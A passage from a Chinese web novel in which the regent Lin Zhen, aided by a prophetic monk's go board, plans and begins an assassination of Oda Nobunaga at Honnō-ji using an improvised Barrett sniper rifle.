当他们的福船穿过层层的警戒线,最终抵达那艘通体漆黑,充满了邪恶与力量美感的旗舰“黑珍珠号”时。 早已在甲板之上,等候多时的伊丽莎白和岳飞,在看到那三个,从福船之上,缓缓走下的身影时。 全都彻彻底底地傻眼了。 尤其是当他们看到,那个走在最前面的,穿着一身破烂袈裟,手里还提着个酒葫芦的,独臂老和尚时。 那下巴更是惊得差点没直接掉在地上! 这……这是什么情况?! 王爷和陛下,不是说要秘密前来吗? 怎么……怎么还顺便,从哪个犄角旮旯里,拐来了一个看起来,比海盗还像海盗的疯和尚? “末将岳飞,” “罪臣伊丽莎白,” 在经历了短暂的震惊之后,岳飞和伊丽莎白还是第一时间反应了过来。 他们连忙,单膝跪地,用一种,充满了难以置信的,震惊和狂喜的声音,高声地,行礼道。 “恭迎王爷!恭迎陛下!” “什么罪臣不罪臣的。”林臻看着伊丽莎白那副,还有些拘谨和不安的模样,笑着摆了摆手,“从你宣誓效忠的那一刻起,你就是我大乾的功臣,是我大乾皇家海军的第一任提督。” “以后,在我面前,不必再行此大礼。” “是……是,王爷殿下。”伊丽莎-白闻言,那颗一直悬着的心,才终于稍稍安定了下来。 她抬起头,那双蓝宝石一般的眼眸,却是不由自主地落在了那个正一脸好奇地东张西望的,邋遢老和尚身上。 “王爷殿下,”她壮着胆子,小声地问道,“这位……大师是?” “哦,忘了给你们介绍了。”林臻一拍脑袋,笑着说道,“这位,是本王特意为我们这次东征,请来的一位‘超级顾问’。” “你们可以叫他棋牌佛大师。” “他可是我们这次能否顺利地找到那座银矿,并且一举奠定胜局的,最关键的人物。” 林臻这番充满了推崇和高深莫测的介绍。 让岳飞和伊丽莎白,都听得是一头雾水。 他们看着那个,怎么看,怎么都像是个骗吃骗喝的,江湖老神棍的邋遢和尚。 心中充满了深深的怀疑。 就凭他? 一个独臂的疯疯癫癫的老和尚? 就能帮他们找到那传说中的银矿? 还能,一举奠定胜局? 王爷……该不会是被人给骗了吧? 第1230章 钱,人,和时间 “黑珍珠号”那无比奢华的船长室里。 林臻大马金刀地坐在了那张,原本属于伊丽莎白船长的,由一整块巨大鲸鱼骨,所雕刻而成的华丽座椅之上。 慕容嫣则是自然而然地,坐在了他的腿上,慵懒地靠在他的怀里。 而岳飞和伊丽莎白,则是一脸恭敬地,站在他们的面前那神情,活像两个正在等待老师训话的小学生。 至于棋牌佛那个老怪物,则是一点都不见外地,直接从船长室的酒柜里,翻出了一瓶,伊丽莎白珍藏了多年的,来自于遥远西方的,最顶级的朗姆酒。 然后便一个人旁若无人地坐在角落里,一边喝着小酒,一边饶有兴致地,看着眼前这堪称是“奇葩”的,战前会议。 “岳飞,伊丽莎白。”林臻清了清嗓子,缓缓地开口,“本王知道,你们现在的心里,一定有很多的疑问。” “比如,本王和陛下,为什么会突然出现在这里。” “比如,我们这次东征的真正目的到底是什么。” 岳飞和伊丽莎白对视了一眼,都从对方的眼中,看到了一丝,果然如此的了然。 他们确实有很多的疑问。 尤其是伊丽莎白。 她到现在都还想不明白,这对在她眼中,比魔鬼还要狡猾和精明的东方帝后,为什么会突然改变主意,放弃了那个,看似天衣无缝的“以战养战”的绝妙计划。 转而选择了这种,在他们西方人看来简直是愚蠢至极的,御驾亲征,孤注一掷的疯狂豪赌。 难道,他们就不怕万一输了,整个帝国都将万劫不复吗? “本王知道你们在想什么。”林臻仿佛看穿了他们的心思,嘴角勾起了一抹,高深莫-测的笑容。 “本王可以很明确地告诉你们。” “我们这次东征的目的,从来都没有变过。” “那就是,钱,人,和时间。” “只是,”他话锋一转,那双深邃的眼睛里,闪过了一丝狐狸般的狡黠光芒,“本王现在,又想到了一个,比之前那个计划,还要更加直接更加有效也更加‘一劳永逸’的全新方案。” “哦?”伊丽莎白和岳飞的眼中,都闪过了一丝,浓浓的好奇。 他们实在想不出,还有什么方案,能比之前那个,将整个倭国都变成大乾的提款机和练兵场的“魔鬼计划”,还要更加的歹毒和有效。 慕容嫣也是一脸好奇地,看着自己这个,总是能给她带来无限惊喜的,妖孽夫君。 她知道,他又要有什么惊世骇俗的“神仙操作”了。 此刻的她,依旧是穿着那身作为唯一寝衣的神凤降世裙。 在这充满了朗姆酒香和淡淡海腥味的船长室里,她那绝美的身姿,和那华贵无比的衣裙,显得是那么的格格不入,却又充满了,一种令人心醉的别样诱惑。 那极致玄黑的苏锦底料在船长室那,透过巨大舷窗洒进来的,明媚阳光下,仿佛变成了一片,最深邃最神秘的黑色宇宙。 而那只用真金线绣成的擎天巨凤,则如同那宇宙之中,最璀璨,最耀眼的恒星。 凤目炯炯,睥睨天下。 仿佛在与它的主人一起,冷冷地,俯瞰着这即将要被他们,彻底玩弄于股掌之上的,渺小的凡人世界。 “本王之前的计划,是扶持德川家和织田家,让他们相互制衡,相互消耗。我们则在背后,坐收渔翁之利。”林臻缓缓地说道,“这个计划,虽然稳妥,但却有一个致命的缺点。” “那就是,太慢了。” “我们现在,最缺的就是时间。” “西域的战局瞬息万变。我们绝不能把所有的希望都寄托在,那虚无缥缥的‘战略缓冲’之上。” “我们必须用最快的速度,从倭国,拿到我们所需要的一切!” “然后立刻,调转枪头全力西征!” “只有这样我们才能,真正地将整个战局的主动权,牢牢地掌握在我们自己的手里!” 林臻的这番话,掷地有-声,充满了不容置疑的绝对自信! 岳飞和伊丽莎白听得也是,连连点头。 他们知道,王爷说的没错。 时间,确实是他们现在,最大的敌人。 “那王爷您的意思是……”岳飞开口问道。 “很简单。”林臻的嘴角勾起了一抹冰冷的残忍的弧度。 “我们这次不玩那些,虚头巴脑的阴谋诡计了。” “我们这次就玩最直接也最有效的。” “——斩首行动!” “斩首行动?”伊丽莎白和岳飞,都愣住了。 “没错。”林臻的手指,重重地点在了,他面前那副,巨大的倭国全图之上一个位于整个倭国最中心,也是最坚固的,超级要塞之上! ——安土城! “我们之前的目标,是江户。是为了,断织田信长的财路,逼德川家康反叛。” “但现在本王改变主意了。” “我们的目标,只有一个!” “那就是,织田信长的老巢,安土城!” “我们就是要在所有人都以为,我们还在跟德川家康,在江户城下磨磨唧唧的时候。” “以一种他们所有人都,意想不到的,雷霆之势!” “如同一柄从天而降的,无上神剑!” “狠狠地插进织田信长的心脏!” “只要我们能一举攻下安土城活捉或者斩杀织田信长!” “那整个倭国所有还在观望,还在摇摆的地方大名就必然会望风而降!” “届时整个倭国,都将成为我们的囊中之物!” “那座巨大的银矿,那些技艺高超的工匠,那些悍不畏死的武士,也全都会在第一时间为我们所用!” “如此一来我们还需要再浪费时间,去跟他们打什么旷日持久的消耗战吗?” “我们还需要再担心,西域的战局,会发生什么变故吗?” 林臻的这番堪称是“快刀斩乱麻,擒贼先擒王”的全新大战略。 让岳飞和伊丽莎白再一次,听得是目瞪口呆,热血沸腾! 他们怎么也没想到,王爷竟然会在这么短的时间之内,就想出了这么一个比之前那个计划,还要更加疯狂,更加大胆也更加,一针见血的破局之法! 这简直就是神来之笔! “王爷圣明!”岳飞的心中,对林臻的崇拜,已经达到了一个前所未有的顶峰! 他现在,是真的相信了。 在这个世界上,就没有他们这位摄政王殿下办不成的事! 也没有他们这位摄政王殿下,打不赢的仗! 然而,一旁的伊丽莎白在短暂的兴奋之后,那张美艳的俏脸之上,却是又一次浮现出了一抹深深的担忧。 “王爷殿下,”她看着林臻,有些不确定地说道,“您的这个计划,虽然听起来很完美。” “但是您是不是忘了。” “那个安土城可不是江户。” “那可是一座,号称‘天下第一坚城’的,不可能被攻破的超级战争堡垒啊!” 第1231章 东方王爷 “不可能被攻破的超级战争堡垒?” 伊丽莎白听完伊达政宗的介绍,那张美艳的俏脸上,第一次浮现出了一抹,发自内心的凝重。 她不是岳飞那种,没见过世面的土包子。 她可是纵横四海,见识过西方世界,最坚固最雄伟的城堡的海盗女王。 可即便是她,在听到伊达政宗对安土城的描述时,心中也还是忍不住,生出了一丝深深的忌惮。 一座仿照东方最伟大都城修建的坚城。 城墙高达十丈,全由巨石垒砌。 城内常驻五万装备了西式火器的精锐。 更有足以支撑十万大军坚守三年的海量粮草。 这样的一个战争堡垒,别说是他们这区区五万人的远征军了。 就算是把整个东印度公司的所有舰队和陆军,全都拉过来,恐怕也未必能啃得动这块硬骨头。 这位东方王爷,是不是把战争想得太简单了? 他以为,攻城就像是过家家吗? “王爷殿下,”她深吸一口气,还是忍不住,将自己心中的担忧,说了出来,“我承认您的这个‘斩首行动’计划非常大胆,也非常有创造力。” “但是,现实往往比计划要残酷得多。” “安土城既然被称为‘天下第一坚城’,那它的防御体系,就绝不可能,像我们想象的那么简单。” “我们这五万大军,虽然装备精良,士气高昂。但毕竟是劳师远征,人生地不熟。” “若是就这么贸然地,去强攻那么一座,固若金汤的超级要塞。” “我担心,我们非但无法,在短时间之内,取得胜利。反而还可能会,陷入一场旷日持久的,血腥的攻城战之中。” “届时,我们不仅会,损兵折将,元气大伤。更会彻底地,失去我们这次东征,最大的战略优势——” “——出其不意!” 伊丽莎白的这番话,说得很中肯,也很在理。 她毕竟是,在尸山血海里,摸爬滚打了这么多年的海盗女王。 对于战争的残酷性和复杂性,她有着比在场绝大多数人,都更加清醒的认知。 岳飞听完她的分析,那张古铜色的刚毅脸庞之上,也同样是,浮现出了一抹,深深的凝重。 他虽然对自己的神机营,有着绝对的自信。 但他也同样知道,攻城战,历来都是所有战争类型之中,最残酷,也最血腥的一种。 伤亡比,往往会达到一个,极其恐怖的数字。 以五万之众,去强攻一座,有五万精锐驻守的,天下第一坚城。 这已经不是在冒险了。 这简直就是在送死! 他下意识地,将目光投向了那个,坐在主位之上,从始至终,都一脸云淡风轻的年轻王爷。 他想看看,这位在他心中,早已是如同神明一般的摄政王殿下。 在听完伊丽莎白这番,几乎是宣判了“斩首行动”死刑的分析之后。 会作何反应。 然而,让他和伊丽莎白都,大跌眼镜的是。 林臻的脸上,非但没有半分的担忧和凝重。 反而还露出了一丝,充满了玩味的,高深莫测的笑容。 “伊丽莎白提督,你说的这些,都很有道理。” 他笑着点了点头,仿佛在夸奖一个,回答对了问题的,聪明学生。 “但是,”他话锋一转,那双深邃的眼睛里,闪过了一丝,狐狸般的狡黠光芒,“你是不是忘了。” “我们这次来倭国,可不是孤军奋战啊。” “我们可是,有‘朋友’的。” “朋友?” 伊丽莎白和岳飞,都愣住了。 他们想不明白,在这片充满了敌意的,陌生的土地上。 他们哪里来的什么“朋友”? 难道,王爷指的是,那个刚刚才投诚的,独眼龙带路党? 可就凭他和那几百个,连像样的武器都没有的乌合之众。 又能在这场,决定了整个倭国命运的,惊天大战之中,起到什么作用? 然而,就在他们,百思不得其解的时候。 林臻却是笑着,将目光投向了那个,一直坐在角落里,自顾自地喝着闷酒的,邋遢老和尚。 “老前辈,”他的声音里,带着一丝,让人捉摸不透的笑意,“您老人家,在这儿听了这么半天的戏,也该是时候,出来活动活动筋骨了吧?” “您要是再不出手,我这小小的东征舰队,恐怕就真的要,在这小小的安土城下,折戟沉沙了呢。” 此言一出,整个船长室,瞬间陷入了一种,诡异的寂静。 岳飞和伊丽莎白,都用一种,看傻子一般的目光,看着林臻。 他们实在想不明白。 王爷为什么会,把破局的希望,寄托在这么一个,疯疯癫癫的,老酒鬼身上? 难道,他真的以为,这个老和尚,是什么隐世不出的绝世高人不成? 这……这也太荒谬了吧? 然而,就在他们,都以为林臻是,病急乱投医,开始说胡话的时候。 那个一直闭着眼睛,仿佛已经睡着了的老和尚,棋牌佛,却是缓缓地,睁开了他那双,浑浊而又深邃的老眼。 他看了一眼,一脸不解的岳飞和伊丽莎白。 又看了一眼,正一脸坏笑地看着他的林臻。 那张邋遢的老脸上,露出了一丝,充满了无奈和宠溺的,苦涩笑容。 “你这个小滑头……” 他摇了摇头,然后慢悠悠地,从地上站了起来。 “老夫就知道,上了你这条贼船,就别想,再有半天的清净日子过。” “说吧,”他晃了晃手里那,已经空空如也的酒葫芦,用一种,充满了慵懒和不耐烦的语气说道,“又想让老夫,帮你干什么脏活累活了?” “先说好,杀人放火的事,老夫可不干。” “老夫可是,出家人。” 看着棋牌佛那副一边说着“不干”,一边却已经开始活动手腕,一副跃跃欲试的模样,林臻脸上的笑容更浓了。 他知道,这条大鱼,算是彻底上钩了。 “老前辈言重了。” 他笑着说道,“晚辈又岂敢,让您这等陆地神仙,去做那杀人放火的粗鄙之事?” “晚辈这次,只是想请您老人家,帮我们一个小小的,无伤大雅的忙。” “哦?”棋牌佛挑了挑眉,那双浑浊的老眼里,闪过一丝好奇,“说来听听。” “很简单。”林臻的嘴角,勾起了一抹,高深莫测的弧度,“晚辈想请您,帮我们,算一卦。” 第1232章 我给你们算一卦 “算一卦?” 棋牌佛闻言,微微一愣。 就连一旁的慕容嫣,岳飞和伊丽莎白,也都是一脸的困惑。 他们都以为,林臻会请这位,深不可测的老怪物,出手去对付那个什么织田信长。 却没想到,他竟然只是,想让他算一卦? 这算是什么神仙操作? 难道,他们这次东征的胜败,还能靠算卦来决定不成? “小子,你没跟老夫开玩笑吧?”棋牌佛用一种,极其古怪的眼神,看着林臻,“你兴师动众地,把老夫从那鸟不拉屎的戈壁滩里,给请出来。就是为了,让老夫给你算一卦?” “当然不是普通的卦。”林臻笑着摇了摇头,那双深邃的眼睛里,闪烁着,如同星辰一般,璀璨而又神秘的光芒。 “晚辈想请您算的,是,天机。” “天机?”棋牌佛的脸色,终于,微微变了。 他那双浑浊的老眼,死死地盯着林臻,仿佛要将他的灵魂,都给彻底看穿。 “小子,你知不知道,你在说什么?” 他的声音,变得无比的沙哑和凝重,“天机,不可泄露。强行窥探,必遭天谴!” “就算是老夫,也不敢轻易地,去触碰那冥冥之中的,因果之线!” “晚辈知道。”林臻点了点头,脸上,却依旧是那副,云淡风轻的淡定模样。 “但晚辈也知道,老前辈您,并非是寻常的卜卦之人。” “您那副,可以预测未来的神秘棋盘,其本质,并非是卜算。” “而是一种,基于对整个世界,所有信息和数据的,极致的,推演和计算。” “您算的,不是虚无缥缈的命运。” “而是,板上钉钉的,未来!” 林臻的这番话,如同一道道,蕴含着无上天威的混沌神雷! 又一次,在棋牌佛那颗,早已古井不波的心湖之中,掀起了,前所未有的滔天巨浪! 他彻底傻了。 他呆呆地看着眼前这个,仿佛无所不知,无所不能的年轻小子。 那张邋遢的老脸上,第一次,浮现出了一抹,名为“恐惧”的情绪! 他……他怎么会知道?! 他怎么会知道,自己那副棋盘的,真正秘密?! 这可是他,活了上千年,最大的,也是唯一的倚仗! 是他,能游戏人间,坐看风云,最大的底牌! 除了他自己,这个世界上,绝不可能,有第二个人知道! 可眼前这个小子…… 他到底是个什么怪物?! “你……”棋牌佛指着林臻,嘴唇哆嗦着,半天都说不出一句完整的话来。 他感觉自己,在这小子面前,就像是一个,被脱光了衣服的,一丝不挂的,可怜虫。 没有任何的秘密可言。 “老前辈,您不用这么紧张。”林臻看着他那副,活见鬼的表情,笑着安慰道,“晚辈对您的秘密,并无兴趣。” “晚辈只是想,借您这副,可以计算未来的棋盘,一用。” “帮我们,算出那安土城的,防御体系之中,最薄弱的,那个环节。” “也帮我们,算出那织田信长,下一步,最有可能的,行动方案。” “只要我们能,提前掌握了这些,至关重要的情报。” “那所谓的‘天下第一坚城’,在我们眼中,也不过是一个,漏洞百出的,纸糊的灯笼罢了。” “届时,我们便可,直捣黄龙,一击致命!” “您说,是也不是?” 棋牌佛沉默了。 他看着林臻那张,充满了绝对自信的,英俊脸庞。 又看了一眼,他身边那个,虽然一言不发,但身上那股,君临天下的帝王之气,却比任何时候都更加强大的,绝美女子。 许久。 他才缓缓地,吐出了一口,浊气。 那张邋遢的老脸上,露出了一丝,比哭还难看的,认命般的苦涩笑容。 “罢了,罢了。” 他摇了摇头,像一个,输光了所有家当的,可怜赌徒。 “老夫这辈子,算是栽在你这个小怪物的手里了。” 他一边说着,一边极其不情愿地,从自己那破烂的袈裟里,取出了一样东西。 那是一副,看起来平平无奇的,由不知名的,黑色木料所打造而成的,古朴棋盘。 和一盒,同样是由,黑白两色的,不知名玉石所打磨而成的,温润棋子。 然而,当这副棋盘和棋子,出现的一瞬间。 整个船长室的空气,仿佛都在这一刻,凝固了。 一股,无法用任何语言来形容的,古老、浩瀚,而又充满了,无上天威的,恐怖气息。 从那小小的棋盘之上,弥漫开来。 让岳飞和伊丽莎白,这两个,在尸山血海里,都面不改色的,铁血悍将。 都在这一瞬间,感到了一阵,发自灵魂深处的,战栗和臣服! 他们仿佛看到的,不再是一副,普通的棋盘。 而是一个,正在缓缓运转的,包含了,整个宇宙,所有星辰,所有因果的,浩瀚天道! 慕容嫣也是,俏脸之上,一片煞白。 她紧紧地抓着林臻的胳膊,那双美丽的凤眸之中,充满了难以置信的,震惊和骇然。 她身上那件,作为唯一寝衣的神凤降世裙,更是无风自动。 那极致玄黑的苏锦底料之上,那只用真金线绣成的擎天巨凤,仿佛也感受到了,那来自于更高维度的,恐怖威压! 凤目圆睁,充满了警惕和敌意! 仿佛随时准备,与那副,可以颠倒乾坤,逆转因果的,神秘棋盘,进行一场,宿命般的,终极对决! “都退下吧。” 就在这时,林臻的声音,缓缓响起。 他将慕容嫣,紧紧地护在怀里,然后对着,早已被吓傻了的岳飞和伊丽莎-白,淡淡地挥了挥手。 “接下来的事,不是你们,该看的。” “也不要问,不要说。” “就当,什么都没发生过。” 岳飞和伊丽莎白,如蒙大赦,连滚带爬地,逃离了这间,让他们感到无比窒息的,恐怖船长室。 直到跑出很远,他们那颗,快要跳出胸膛的心,才稍稍安定了下来。 “我的上帝……”伊丽莎白拍着自己那,波澜壮阔的胸口,一脸心有余悸地说道,“那个老和尚,和那副棋盘,到底是什么鬼东西?” “我感觉,我刚才,差点就要,被那股力量,给直接碾碎了!” 岳飞没有说话。 他只是,一脸复杂地,回头看了一眼,那间紧闭着的,船长室的大门。 那张古铜色的刚毅脸庞之上,除了后怕,更多的是一种,前所未有的,巨大的震撼和颠覆! 他知道,自己今天,恐怕是,亲眼见证了,一个,凡人根本无法想象的,神话的诞生! 而他们的王爷,那个,总是能创造出各种,匪夷所斯奇迹的男人。 或许,根本就不是什么,凡人。 而是一个,真正的,来自于九天之上的,无上神明! 第1233章 城门的生门 船长室里。 只剩下了林臻,慕容嫣和棋牌佛三个人。 气氛,凝重到了极点。 棋牌佛盘腿坐在地上,那副古朴的黑色棋盘,就摆在他的面前。 他那双浑浊的老眼,死死地盯着那空无一物的棋盘,仿佛在看一个,不共戴天的生死仇敌。 他的额头上,已经渗出了一层,细密的汗珠。 那只仅剩的独臂,也因为,极度的精神集中,而微微地,颤抖了起来。 慕容嫣紧紧地依偎在林臻的怀里,大气都不敢喘一口。 她能清晰地感觉到,从那副小小的棋盘之上,正散发出一种,让她都感到心悸的,恐怖的能量波动。 那种感觉,就好像整个世界的命运,都在那纵横交错的十九道线之间不断地,生灭,轮回。 她身上那件,作为唯一寝衣的神凤降世裙也仿佛进入了一种,前所未有的高度戒备的状态。 那极致玄黑的苏锦底料,在船长室那,略显昏暗的光线下,仿佛变成了一个,深不见底的黑色的漩涡。 正在疯狂地,吸收着周围,所有的光线和能量。 那只用真金线绣成的擎天巨凤更是凤目圆睁,羽翼微张。 仿佛随时准备,从那黑色的漩涡之中,挣脱而出。 与那副,可以颠倒乾坤的,神秘棋盘进行一场,宿命般的终极对决! “找到了。” 许久,棋牌佛才缓缓地,吐出了三个字。 他的声音,沙哑得,像两块生锈的铁片,在相互摩擦。 那张邋遢的老脸上,更是苍白得,没有一丝一毫的血色。 仿佛刚才那短短一刻钟的推演,已经耗尽了他上千年来所积攒的,所有心神。 “安土城的生门,在何处?” 林臻的声音,同样是,充满了凝重。 他知道棋牌佛刚才所做的,绝不仅仅只是简单的推演和计算。 而是一场与天道的直接对话和博弈! 其凶险程度丝毫不亚于,一场毁天灭地的神魔之战! “不在城内。” 棋牌佛摇了摇头,那双浑浊的老眼里,闪过了一丝,连他自己都,感到有些意外的,惊异。 “而在,城外。” “城外?”林臻和慕容嫣,都愣住了。 “没错。”棋牌佛点了点头,然后伸出那只颤抖的独臂,从棋盒里拈起了一枚棋子。 “啪”的一声,落在了棋盘之上一个看似毫不起眼的角落里。 “此地名为‘本能寺’。” “乃是安土城外,三十里处的一座废弃的古寺。” “也是那织田信长在每次出征之前,都必定会去祭拜和祈福的秘密据点。” “根据老夫的推算,”他的声音变得愈发地充满了,一种宿命般的诡异和森然,“三日之后的子时。” “那织田信长为了祈求,这次能一举荡平德川家的叛乱,必定会再一次轻车简从秘密前往那本能寺进行祭拜。” “而那就是我们唯一的机会!” “本能寺之变?!” 林臻在听到“本能寺”这三个字的瞬间,瞳孔猛地一缩! 一股冰冷刺骨的熟悉感瞬间涌上了他的心头! 他怎么忘了! 他怎么把这么重要的一个,历史事件给忘了! 在本能寺,刺杀织田信长! 这不就是,他那个世界历史上,最著名,也最富传奇色彩的一次“斩首行动”吗?! 难道历史的轨迹,真的就如此的惊人的相似? 还是说这冥冥之中真的有一只,看不见的大手,在操控着所有的一切? “夫君,你怎么了?” 慕容嫣感觉到怀中男人的异样,有些担忧地问道。 “没……没什么。” 林臻深吸一口气,强行压下心中的震惊和骇然。 他知道现在不是去思考这些,虚无缥缈的哲学问题的时候。 他必须立刻这个由棋牌佛,用半条命为他们换来的,千载难逢的绝佳战机! “老前辈,”他看着棋牌佛那张,苍白如纸的脸声音里充满了不容置疑的决绝,“多谢了。” “这份人情晚辈记下了。” “日后必有厚报。” “哼,少跟老夫来这套。”棋牌佛有气无力地,摆了摆手,“老夫现在只想,好好地睡上一觉。” “剩下的事你们自己看着办吧。” “老夫乏了。” 他说完便再也撑不住,那早已是油尽灯枯的身体。 脑袋一歪便直接昏睡了过去。 林臻看着他那,疲惫不堪的睡颜心中也是一阵感慨。 他知道这个老怪物,虽然嘴上不说,但心里其实已经将自己和嫣儿,当成了真正的自己人。 否则他绝不可能,会冒着遭受天谴的巨大风险。 去为他们强行窥探,那冥冥之中的一线天机。 “来人。” 林臻对着门外,沉声喊道。 “王爷。”鬼影如同幽灵一般,悄无声息地出现在了门口。 “将大师,带到本王隔壁的房间好生安顿。” “记住,没有本王的命令,任何人不得入内打扰。” “是。”鬼影领命,然后便和另一名“夜枭”死士,小心翼翼地将早已昏睡过去的棋牌佛,给抬了出去。 船长室里,又一次,只剩下了林臻和慕容嫣两个人。 “夫君,”慕容嫣看着林臻那,同样是,有些凝重的脸,声音里充满了担忧,“你……你真的,打算在那个什么本能寺动手吗?” “那会不会太冒险了?” “既然是斩首行动又岂有,不冒险的道理?”林臻却是笑了笑。 他将怀中那还在为他担惊受怕的小女人,紧紧地搂了搂。 “嫣儿,你放心。” 他的声音,充满了,强大的自信和感染力。 “这一次,我绝不会再像上次一样逞强了。” “我不仅会带着胜利回来。” “我更会毫发无伤地回到你的身边。” 他一边说着一边从怀中又取出了一样东西。 那是一把,造型极其古怪通体漆黑,却又在阳光下闪烁着冰冷寒芒的燧发手枪。 正是他之前在工部亲手为自己打造的,那把独一无二的秘密武器! “这一次,”他的眼中闪过了一丝冰冷的如同死神一般的森然杀意。 “就让本王亲手为那个,自以为是的天下霸主。” 第1234章 死亡惊喜 “送上一份来自于另一个世界的死亡惊喜吧。” 夜深沉如墨。 安土城外三十里处,本能寺。 这座曾经香火鼎盛的千年古刹,此刻却早已是断壁残垣蛛网遍布。 只有那几尊早已被风雨侵蚀得面目全非的石佛。 还在那冰冷的月光之下,用一种悲天悯人的目光,静静地注视着这片,即将要被鲜血和战火所彻底吞噬的死亡之地。 寺庙的后院一间还算完整的禅房之内。 织田信长这位被誉为“第六天魔王”的倭国霸主。 正一个人静静地跪坐在佛像之前。 他的身上没有穿着那件象征着他无上权力的华丽战甲。 只穿着一件普普通通的白色寝衣。 那张总是充满了霸道和威严的脸上。 此刻也难得地露出了一丝不易察觉的疲惫和凝重。 他已经整整三天没有合眼了。 自从那支如同天兵天将一般从天而降的大乾舰队兵临江户城下之后。 他就一直处在一种极度的焦虑和不安之中。 他想不明白。 他真的想不明白。 为什么? 为什么那个在他眼中一直,都是软弱可欺任由他拿捏的天朝上国。 竟然会在没有任何征兆的情况下,对他发动了如此毁灭性的突然袭击? 为什么他们的火炮会如此的恐怖? 为什么他们的军队会如此的战无不胜? 德川家康那个老乌龟竟然连一天都没能撑住。 就那么窝囊地切腹自尽了。 连带着他那苦心经营了数十年的江户城。 和他那数以万计的精锐守军。 都在一夜之间化为了历史的尘埃。 这简直是不可思议! “难道……” 一个让他自己都感到有些不寒而栗的可怕念头,瞬间涌上了他的心头。 “难道那个传说是真的?” “那个来自于东方的古老预言……” “黑龙降世天下归一……” “不!不可能!” 他猛地摇了摇头,将这个荒谬的念头从自己的脑海里驱赶了出去。 “我织田信长,才是天命所归的天下人!” “区区一个外来的蛮夷,又岂能与我争锋?!” “我一定要将他们全都碎尸万段!” “让他们知道谁才是这片土地上真正的主人!” 他一边在心中疯狂地自我催眠着。 一边从怀中取出了一样东西。 那是一颗只有拇指大小的通体漆黑,却又在烛光下闪烁着诡异红芒的菱形水晶! 正是那与伊丽莎白手腕上一模一样的“虚无之石”! “巴博萨那个废物。” 他看着手中这颗代表着无上力量,和绝对控制的黑色水晶,脸上露出了一丝不屑的冷笑。 “竟然连一个小小的东方帝国都搞不定。” “还把我们‘神’所赐予的圣物给弄丢了。” “真是死有余辜。” “不过这样也好。” 他的眼中闪烁着如同毒蛇一般的贪婪和野心。 “等我解决了眼前这些不长眼的苍蝇。” “再回过头来收拾了德川秀忠那个丧家之犬。” “那整个东方乃至整个世界都将匍匐在我织田信长的脚下!” “届时我将取代巴博萨成为‘神’在这片土地上唯一的代行者!” “我将拥有永恒的生命和无上的权力!” “哈哈……哈哈哈哈!” 他再也控制不住自己那颗早已被野心和欲望所彻底扭曲的心。 发出了一阵状若疯癫的震天狂笑! 然而他做梦也想不到。 就在他还沉浸在那称霸世界的黄粱美梦之中时。 寺庙之外那片死寂的黑暗的森林里。 数以百计的黑色的如同鬼魅一般的身影。 早已将这座小小的本能寺给围得水泄不通。 为首的正是林臻。 他的身上穿着一件便于行动的黑色夜行衣。 脸上也蒙着一块黑色的面巾。 只露出一双在黑夜之中依旧是亮得惊人的深邃眼眸。 那双眼睛里没有半分的感情。 只有冰冷的如同机器一般的绝对的冷静和森然的杀意。 在他的身边是岳飞和伊丽莎白。 他们两人也同样是一身的夜行劲装。 岳飞的手中紧紧地握着一把造型奇特的,加装了消音器的特制燧发手枪。 而伊丽莎白的腰间,则别着两把她最擅长的华丽的燧发短枪。 那双蓝宝石一般的眼眸之中,充满了即将要进行一场刺激的死亡狩猎的兴奋和嗜血。 在他们的身后则是一百名,由岳飞亲自从神机营中挑选出来的,最精锐的神枪手。 和一百名由伊丽莎白亲自从“黑珍珠号”上,挑选出来的最擅长暗杀和潜行的海盗精英。 这支由东西方最顶尖的杀手,和战士所组成的小小的死亡联军。 就是林臻这次“斩首行动”最后的也是唯一的底牌! “王爷,”岳飞压低了声音在他耳边轻声说道,“都已准备就绪。” “根据伊达政宗的情报,那织田信长每次前来,都只会带不到五十名的亲卫武士。” “我们这二百人的精锐,再加上您和提督大人的身手。” “要解决他们简直是易如反掌。” “不。”林臻却是缓缓地摇了摇头。 “没那么简单。” “哦?”岳飞和伊丽莎白都有些意外地看向了他。 “你们是不是忘了,”林臻的目光穿过那层层的黑暗的森林,落在了那座灯火通明的禅房之上,眼中闪过了一丝旁人难以读懂的凝重。 “那个织田信长他的手上,可是也同样拥有着一颗‘虚无之石’啊。” “那东西的威力你们刚才在船上也见识过了。” “一旦让他察觉到危险引爆了那东西。” “别说是我们这二百人了,就算是方圆十里之内的一切都将在瞬间化为一片虚无。” 此言一出岳飞和伊丽莎白那原本还充满了自信的脸上瞬间血色尽失! 他们这才想起这个被他们忽略了的最致命的问题! 是啊! 他们光想着怎么去刺杀织田信长了。 却完全忘了这个家伙本身就是一个行走的超级炸弹! 一个随时可能跟他们同归于尽的疯子! 这……这还怎么打?! 第1235章 大口径反器材狙击步枪 “那……那王爷,我们现在该怎么办?” 岳飞的声音里带上了一丝连他自己都未曾察觉的紧张和不安。 他第一次发现自己那,引以为傲的所谓的临阵指挥之能。 在面对这种超越了,常规战争范畴的诡异的超自然力量时。 显得是那么的苍白和无力。 伊丽莎白那张美艳的俏脸之上,也同样是布满了深深的凝重和忌惮。 她虽然喜欢刺激喜欢冒险。 但她可不想就这么不明不白地,跟一个疯子同归于尽。 然而面对着这足以让任何人,都感到束手无策的绝望死局。 林臻的脸上却是没有半分的慌乱。 他只是静静地看着远处那座灯火通明的禅房。 那双深邃的眼睛里,闪烁着如同猎人在等待猎物落入陷阱时,那特有的冰冷的自信的光芒。 “放心。” 许久他才缓缓地开口。 声音不大,却又充满了一种足以让人心安的强大魔力。 “对付疯子,就要用比他更疯的办法。” 他一边说着,一边从怀中取出了一样东西。 那是一把造型极其古怪通体漆黑枪身之上,还加装了一个长长的圆筒状物体的特制燧发步枪。 正是他在工部的秘密工坊里,耗费了无数心血亲手为自己量身打造的,那把独一无二的超级大杀器! ——巴雷特M82A1大口径反器材狙击步枪! 虽然受限于这个时代的材料和工艺水平。 这把枪的有效射程和威力,还远远无法与他那个世界的原版相比。 但是在加装了,他亲手打磨的高倍光学瞄准镜。 和使用了他亲手调配的威力比黑火药要强大十倍以上的新型无烟火药之后。 这把枪依旧拥有着足以在八百米之外,精准地洞穿任何一个时代最厚重的钢铁盔甲的恐怖的毁灭力量! 而这就是他为织田信-长那个自以为是的天下霸主。 所准备的最后的也是最致命的死亡“惊喜”! “岳飞。” 他将手中那把充满了死亡气息的冰冷狙击枪,缓缓地架在了一块巨大的岩石之上。 然后通过那冰冷的光学瞄准镜,死死地锁定了远处那座禅房的窗户。 “你带一百人从左翼包抄。” “伊丽莎-白。” “你带一百人从右翼渗透。” “记住你们的任务不是进攻。” “而是封锁!” “封锁本能寺所有的出口!” 